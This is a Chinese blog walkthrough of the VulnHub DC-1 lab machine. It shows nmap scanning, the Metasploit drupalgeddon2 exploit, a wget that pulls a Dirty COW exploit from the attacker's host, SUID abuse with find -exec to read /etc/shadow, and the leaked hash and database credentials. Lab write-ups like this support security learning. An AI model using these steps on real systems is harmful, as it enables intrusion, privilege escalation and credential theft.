Damn1t
for you I bleed myself dry
FRIENDS
baidu

vulnhub DC系列:DC1

2019-07-01 靶机

vulnhub DC系列:DC1

前期

利用nmap 进行端口扫描:

1
2
3
4
5
6
7
8
9
Nmap scan report for DC-1.lan (192.168.199.111)
Host is up (0.00035s latency).
MAC Address: 08:00:27:A3:53:71 (Oracle VirtualBox virtual NIC

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
54558/tcp open status 1 (RPC #100024)

访问80,出现了drupal:

存在目录泄露:

1
2
3
4
5
6
7
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt

drupal7,我们尝试利用metasploit

1
2
3
>search drupal

>use exploit/unix/webapp/drupal_drupalgeddon2

可以直接拿到shell

然后ls,cat flag1.txt

提权

1
2
3
4
meterpreter > sysinfo
Computer : DC-1
OS : Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
Meterpreter : php/linux

似乎可以利用脏牛
先改善下交互环境

1
python -c 'import pty;pty.spawn("/bin/bash")'

然后本地远程下载脚本

1
2
3
wget http://192.168.199.167:8080/dirty.c 

gcc -o dirtycow dirty.c -pthread -lcrypt


虽然显示成功了,但实质上没有成功创建账号

然后一直在内核漏洞上面绕,始终没成功

在网上找了一番,转换思路

利用SUID

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

参考:利用suid提权:https://blog.csdn.net/nzjdsds/article/details/84843201

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

1
2
3
4
5
6
7
8
9
find / -user root -perm -4000 -print 2>/dev/null



find / -perm -u=s -type f 2>/dev/null



find / -user root -perm -4000 -exec ls -ldb {} \;

find指令有一个-exec 选项,它可以执行系统命令

find . -exec cat /etc/shadow \; -quit

得到root密码:

1
root:$6$rhe3rFqk$NwHzwJ4H7abOFOM67.Avwl3j8c05rDVPqTIvWg8k3yWe99pivz/96.K7IqPlbBCmzpokVmn13ZhVyQGrQ4phd/:17955:0:99999:7:::

最终的flag:
find . -exec cat /root/thefinalflag.txt \; -quit

附:flag2

drupal目录结构:https://justcoding.iteye.com/blog/1407697
cd /var/www/sites/default
settings.php存在mysql的配置信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

Author: damn1t

Link: http://microvorld.com/2019/07/01/靶机/DC1/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
calc与拟态防御
NextPost >
selenium学习笔记
CATALOG
  1. 1. vulnhub DC系列:DC1
    1. 1.1. 前期
    2. 1.2. 提权
    3. 1.3. 利用SUID
    4. 1.4. 附:flag2